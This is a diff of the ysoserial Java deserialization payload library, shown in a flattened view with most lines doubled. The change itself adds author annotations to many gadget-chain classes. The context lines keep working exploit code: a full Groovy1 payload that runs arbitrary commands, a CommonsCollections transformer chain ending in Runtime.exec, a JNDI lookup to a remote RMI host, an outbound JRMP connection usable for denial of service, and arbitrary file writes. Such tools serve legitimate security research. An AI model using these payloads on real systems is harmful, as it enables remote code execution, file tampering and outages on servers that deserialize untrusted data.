final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler; return handler;
} }
public static void main(final String[] args) throws Exception { public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args); PayloadRunner.run(CommonsCollections1.class, args);
} }
public static boolean isApplicableJavaVersion() { public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl(); return JavaVersion.isAnnInvHUniversalMethodImpl();
} }
@@ -6,6 +6,7 @@ import java.util.Queue;
import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
@@ -24,7 +25,8 @@ import ysoserial.payloads.util.Reflections;
*/ */
@SuppressWarnings({ "rawtypes", "unchecked" }) @SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"org.apache.commons:commons-collections4:4.0"}) @Dependencies({ "org.apache.commons:commons-collections4:4.0" })
@Authors({ Authors.FROHOFF })
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> { public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception { public Queue<Object> getObject(final String command) throws Exception {
@@ -12,6 +12,7 @@ import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
@@ -26,8 +27,9 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
* InvokerTransformer. * InvokerTransformer.
*/ */
@SuppressWarnings({"rawtypes", "unchecked", "restriction"}) @SuppressWarnings({"rawtypes", "unchecked", "restriction"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@PayloadTest ( precondition = "isApplicableJavaVersion") @PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> { public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception { public Object getObject(final String command) throws Exception {
@@ -59,7 +61,7 @@ public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<
public static void main(final String[] args) throws Exception { public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections3.class, args); PayloadRunner.run(CommonsCollections3.class, args);
} }
public static boolean isApplicableJavaVersion() { public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl(); return JavaVersion.isAnnInvHUniversalMethodImpl();
} }
@@ -11,6 +11,7 @@ import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
@@ -24,6 +25,7 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
*/ */
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) @SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({"org.apache.commons:commons-collections4:4.0"}) @Dependencies({"org.apache.commons:commons-collections4:4.0"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> { public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception { public Queue<Object> getObject(final String command) throws Exception {
@@ -14,6 +14,7 @@ import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
@@ -21,7 +22,7 @@ import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
/* /*
Gadget chain: Gadget chain:
ObjectInputStream.readObject() ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject() AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet() Map(Proxy).entrySet()
@@ -30,23 +31,24 @@ import ysoserial.payloads.util.Reflections;
ChainedTransformer.transform() ChainedTransformer.transform()
ConstantTransformer.transform() ConstantTransformer.transform()
InvokerTransformer.transform() InvokerTransformer.transform()
Method.invoke() Method.invoke()
Class.getMethod() Class.getMethod()
InvokerTransformer.transform() InvokerTransformer.transform()
Method.invoke() Method.invoke()
Runtime.getRuntime() Runtime.getRuntime()
InvokerTransformer.transform() InvokerTransformer.transform()
Method.invoke() Method.invoke()
Runtime.exec() Runtime.exec()
Requires: Requires:
commons-collections commons-collections
*/ */
@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()") @PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
@SuppressWarnings({"rawtypes", "unchecked"}) @SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"}) @Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> { public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception { public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command }; final String[] execArgs = new String[] { command };
// inert chain for setup // inert chain for setup
@@ -68,9 +70,9 @@ public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<
final Map innerMap = new HashMap(); final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val"); Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true); valfield.setAccessible(true);
@@ -80,7 +82,7 @@ public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<
return val; return val;
} }
public static void main(final String[] args) throws Exception { public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections5.class, args); PayloadRunner.run(CommonsCollections5.class, args);
} }
@@ -6,6 +6,7 @@ import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
@@ -33,6 +34,7 @@ import java.util.Map;
*/ */
@SuppressWarnings({"rawtypes", "unchecked"}) @SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"}) @Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER })
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> { public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception { public Serializable getObject(final String command) throws Exception {
@@ -11,6 +11,7 @@ import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream; import org.apache.commons.io.output.DeferredFileOutputStream;
import org.apache.commons.io.output.ThresholdingOutputStream; import org.apache.commons.io.output.ThresholdingOutputStream;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
@@ -20,19 +21,19 @@ import ysoserial.payloads.util.Reflections;
/** /**
* Gadget chain: * Gadget chain:
* DiskFileItem.readObject() * DiskFileItem.readObject()
* *
* Arguments: * Arguments:
* - copyAndDelete;sourceFile;destDir * - copyAndDelete;sourceFile;destDir
* - write;destDir;ascii-data * - write;destDir;ascii-data
* - writeB64;destDir;base64-data * - writeB64;destDir;base64-data
* - writeOld;destFile;ascii-data * - writeOld;destFile;ascii-data
* - writeOldB64;destFile;base64-data * - writeOldB64;destFile;base64-data
* *
* Yields: * Yields:
* - copy an arbitraty file to an arbitrary directory (source file is deleted if possible) * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)
* - pre 1.3.1 (+ old JRE): write data to an arbitrary file * - pre 1.3.1 (+ old JRE): write data to an arbitrary file
* - 1.3.1+: write data to a more or less random file in an arbitrary directory * - 1.3.1+: write data to a more or less random file in an arbitrary directory
* *
* @author mbechler * @author mbechler
*/ */
@Dependencies ( { @Dependencies ( {
@@ -40,6 +41,7 @@ import ysoserial.payloads.util.Reflections;
"commons-io:commons-io:2.4" "commons-io:commons-io:2.4"
} ) } )
@PayloadTest(harness="ysoserial.payloads.FileUploadTest") @PayloadTest(harness="ysoserial.payloads.FileUploadTest")
@Authors({ Authors.MBECHLER })
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> { public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
public DiskFileItem getObject ( String command ) throws Exception { public DiskFileItem getObject ( String command ) throws Exception {
@@ -6,12 +6,13 @@ import java.util.Map;
import org.codehaus.groovy.runtime.ConvertedClosure; import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure; import org.codehaus.groovy.runtime.MethodClosure;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
/* /*
Gadget chain: Gadget chain:
ObjectInputStream.readObject() ObjectInputStream.readObject()
PriorityQueue.readObject() PriorityQueue.readObject()
Comparator.compare() (Proxy) Comparator.compare() (Proxy)
@@ -20,26 +21,27 @@ import ysoserial.payloads.util.PayloadRunner;
... ...
Method.invoke() Method.invoke()
Runtime.exec() Runtime.exec()
Requires: Requires:
groovy groovy
*/ */
@SuppressWarnings({ "rawtypes", "unchecked" }) @SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"}) @Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
@Authors({ Authors.FROHOFF })
public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> { public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception { public InvocationHandler getObject(final String command) throws Exception {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
final Map map = Gadgets.createProxy(closure, Map.class); final Map map = Gadgets.createProxy(closure, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
return handler; return handler;
} }
public static void main(final String[] args) throws Exception { public static void main(final String[] args) throws Exception {
PayloadRunner.run(Groovy1.class, args); PayloadRunner.run(Groovy1.class, args);
} }
} }
@@ -13,13 +13,14 @@ import org.hibernate.type.AbstractType;
import org.hibernate.type.ComponentType; import org.hibernate.type.ComponentType;
import org.hibernate.type.Type; import org.hibernate.type.Type;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
/** /**
* *
* org.hibernate.property.access.spi.GetterMethodImpl.get() * org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C) * org.hibernate.type.ComponentType.getPropertyValue(C)
@@ -28,13 +29,14 @@ import ysoserial.payloads.util.Reflections;
* org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue() * org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode() * org.hibernate.engine.spi.TypedValue.hashCode()
* *
* *
* Requires: * Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
* *
* @author mbechler * @author mbechler
*/ */
@Authors({ Authors.MBECHLER })
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies { public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies () { public static String[] getDependencies () {
@@ -1,6 +1,7 @@
package ysoserial.payloads; package ysoserial.payloads;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
@@ -8,11 +9,11 @@ import com.sun.rowset.JdbcRowSetImpl;
/** /**
* *
* Another application filter bypass * Another application filter bypass
* *
* Needs a getter invocation that is provided by hibernate here * Needs a getter invocation that is provided by hibernate here
* *
* javax.naming.InitialContext.InitialContext.lookup() * javax.naming.InitialContext.InitialContext.lookup()
* com.sun.rowset.JdbcRowSetImpl.connect() * com.sun.rowset.JdbcRowSetImpl.connect()
* com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
@@ -24,29 +25,30 @@ import com.sun.rowset.JdbcRowSetImpl;
* org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue() * org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode() * org.hibernate.engine.spi.TypedValue.hashCode()
* *
* *
* Requires: * Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
* *
* Arg: * Arg:
* - JNDI name (i.e. rmi:<host>) * - JNDI name (i.e. rmi:<host>)
* *
* Yields: * Yields:
* - JNDI lookup invocation (e.g. connect to remote RMI) * - JNDI lookup invocation (e.g. connect to remote RMI)
* *
* @author mbechler * @author mbechler
*/ */
@SuppressWarnings ( { @SuppressWarnings ( {
"restriction" "restriction"
} ) } )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest") @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
@Authors({ Authors.MBECHLER })
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies { public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies () { public static String[] getDependencies () {
return Hibernate1.getDependencies(); return Hibernate1.getDependencies();
} }
public Object getObject ( String command ) throws Exception { public Object getObject ( String command ) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl(); JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(command); rs.setDataSourceName(command);
@@ -14,6 +14,7 @@ import org.jboss.interceptor.spi.metadata.InterceptorReference;
import org.jboss.interceptor.spi.metadata.MethodMetadata; import org.jboss.interceptor.spi.metadata.MethodMetadata;
import org.jboss.interceptor.spi.model.InterceptionModel; import org.jboss.interceptor.spi.model.InterceptionModel;
import org.jboss.interceptor.spi.model.InterceptionType; import org.jboss.interceptor.spi.model.InterceptionType;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
@@ -25,7 +26,10 @@ import java.util.*;
by @matthias_kaiser by @matthias_kaiser
*/ */
@SuppressWarnings({"rawtypes", "unchecked"}) @SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) @Dependencies({ "javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
@Authors({ Authors.MATTHIASKAISER })
public class JBossInterceptors1 implements ObjectPayload<Object> { public class JBossInterceptors1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception { public Object getObject(final String command) throws Exception {
@@ -76,4 +80,4 @@ public class JBossInterceptors1 implements ObjectPayload<Object> {
public static void main(final String[] args) throws Exception { public static void main(final String[] args) throws Exception {
PayloadRunner.run(JBossInterceptors1.class, args); PayloadRunner.run(JBossInterceptors1.class, args);
} }
} }
@@ -10,13 +10,14 @@ import java.util.Random;
import sun.rmi.server.UnicastRef; import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef; import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint; import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
/** /**
* *
* *
* UnicastRef.newCall(RemoteObject, Operation[], int, long) * UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease) * DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long) * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
@@ -24,31 +25,32 @@ import ysoserial.payloads.util.PayloadRunner;
* DGCClient.registerRefs(Endpoint, List<LiveRef>) * DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean) * LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput) * UnicastRef.readExternal(ObjectInput)
* *
* Thread.start() * Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint) * DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint) * DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>) * DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean) * LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput) * UnicastRef.readExternal(ObjectInput)
* *
* Requires: * Requires:
* - JavaSE * - JavaSE
* *
* Argument: * Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times) * - host:port to connect to, host only chooses random port (DOS if repeated many times)
* *
* Yields: * Yields:
* * an established JRMP connection to the endpoint (if reachable) * * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy * * a connected RMI Registry proxy
* * one system thread per endpoint (DOS) * * one system thread per endpoint (DOS)
* *
* @author mbechler * @author mbechler
*/ */
@SuppressWarnings ( { @SuppressWarnings ( {
"restriction" "restriction"
} ) } )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest") @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> { public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
public Registry getObject ( final String command ) throws Exception { public Registry getObject ( final String command ) throws Exception {
@@ -7,6 +7,7 @@ import java.rmi.server.UnicastRemoteObject;
import sun.rmi.server.ActivationGroupImpl; import sun.rmi.server.ActivationGroupImpl;
import sun.rmi.server.UnicastServerRef; import sun.rmi.server.UnicastServerRef;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
@@ -23,10 +24,10 @@ import ysoserial.payloads.util.Reflections;
* TCPEndpoint.exportObject(Target) line: 411 * TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249 * TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319 * TCPTransport.listen() line: 319
* *
* Requires: * Requires:
* - JavaSE * - JavaSE
* *
* Argument: * Argument:
* - Port number to open listener to * - Port number to open listener to
*/ */
@@ -34,6 +35,7 @@ import ysoserial.payloads.util.Reflections;
"restriction" "restriction"
} ) } )
@PayloadTest( skip = "This test would make you potentially vulnerable") @PayloadTest( skip = "This test would make you potentially vulnerable")
@Authors({ Authors.MBECHLER })
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> { public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {
public UnicastRemoteObject getObject ( final String command ) throws Exception { public UnicastRemoteObject getObject ( final String command ) throws Exception {
+9 -8
View File
@@ -1,6 +1,7 @@
package ysoserial.payloads; package ysoserial.payloads;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
@@ -26,9 +27,9 @@ import net.sf.json.JSONObject;
/** /**
* *
* A bit more convoluted example * A bit more convoluted example
* *
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...) * java.lang.reflect.Method.invoke(Object, Object...)
* org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) * org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
@@ -52,19 +53,19 @@ import net.sf.json.JSONObject;
* javax.management.openmbean.TabularDataSupport.equals(Object) * javax.management.openmbean.TabularDataSupport.equals(Object)
* java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean) * java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean)
* java.util.HashMap<K,V>.readObject(ObjectInputStream) * java.util.HashMap<K,V>.readObject(ObjectInputStream)
* *
* @author mbechler * @author mbechler
* *
*/ */
@SuppressWarnings ( { @SuppressWarnings ( {
"rawtypes", "unchecked", "restriction" "rawtypes", "unchecked", "restriction"
} ) } )
@Dependencies ( { @Dependencies({ "net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE",
"net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE",
// deep deps // deep deps
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", "net.sf.ezmorph:ezmorph:1.0.6", "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6",
"commons-beanutils:commons-beanutils:1.9.2", "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" "net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2",
} ) "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" })
@Authors({ Authors.MBECHLER })
public class JSON1 implements ObjectPayload<Object> { public class JSON1 implements ObjectPayload<Object> {
public Map getObject ( String command ) throws Exception { public Map getObject ( String command ) throws Exception {
@@ -14,6 +14,7 @@ import org.jboss.weld.interceptor.spi.metadata.InterceptorReference;
import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; import org.jboss.weld.interceptor.spi.metadata.MethodMetadata;
import org.jboss.weld.interceptor.spi.model.InterceptionModel; import org.jboss.weld.interceptor.spi.model.InterceptionModel;
import org.jboss.weld.interceptor.spi.model.InterceptionType; import org.jboss.weld.interceptor.spi.model.InterceptionType;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
@@ -25,7 +26,10 @@ import java.util.*;
by @matthias_kaiser by @matthias_kaiser
*/ */
@SuppressWarnings({"rawtypes", "unchecked"}) @SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1","org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) @Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
@Authors({ Authors.MATTHIASKAISER })
public class JavassistWeld1 implements ObjectPayload<Object> { public class JavassistWeld1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception { public Object getObject(final String command) throws Exception {
@@ -76,4 +80,4 @@ public class JavassistWeld1 implements ObjectPayload<Object> {
public static void main(final String[] args) throws Exception { public static void main(final String[] args) throws Exception {
PayloadRunner.run(JavassistWeld1.class, args); PayloadRunner.run(JavassistWeld1.class, args);
} }
} }
@@ -6,6 +6,7 @@ import java.util.LinkedHashSet;
import javax.xml.transform.Templates; import javax.xml.transform.Templates;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
@@ -53,8 +54,9 @@ LinkedHashSet.readObject()
*/ */
@SuppressWarnings({ "rawtypes", "unchecked" }) @SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies()
@PayloadTest ( precondition = "isApplicableJavaVersion") @PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({ Authors.FROHOFF })
public class Jdk7u21 implements ObjectPayload<Object> { public class Jdk7u21 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception { public Object getObject(final String command) throws Exception {
@@ -80,7 +82,7 @@ public class Jdk7u21 implements ObjectPayload<Object> {
return set; return set;
} }
public static boolean isApplicableJavaVersion() { public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion(); JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21)); return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
@@ -10,6 +10,7 @@ import java.util.Arrays;
import java.util.Comparator; import java.util.Comparator;
import java.util.PriorityQueue; import java.util.PriorityQueue;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
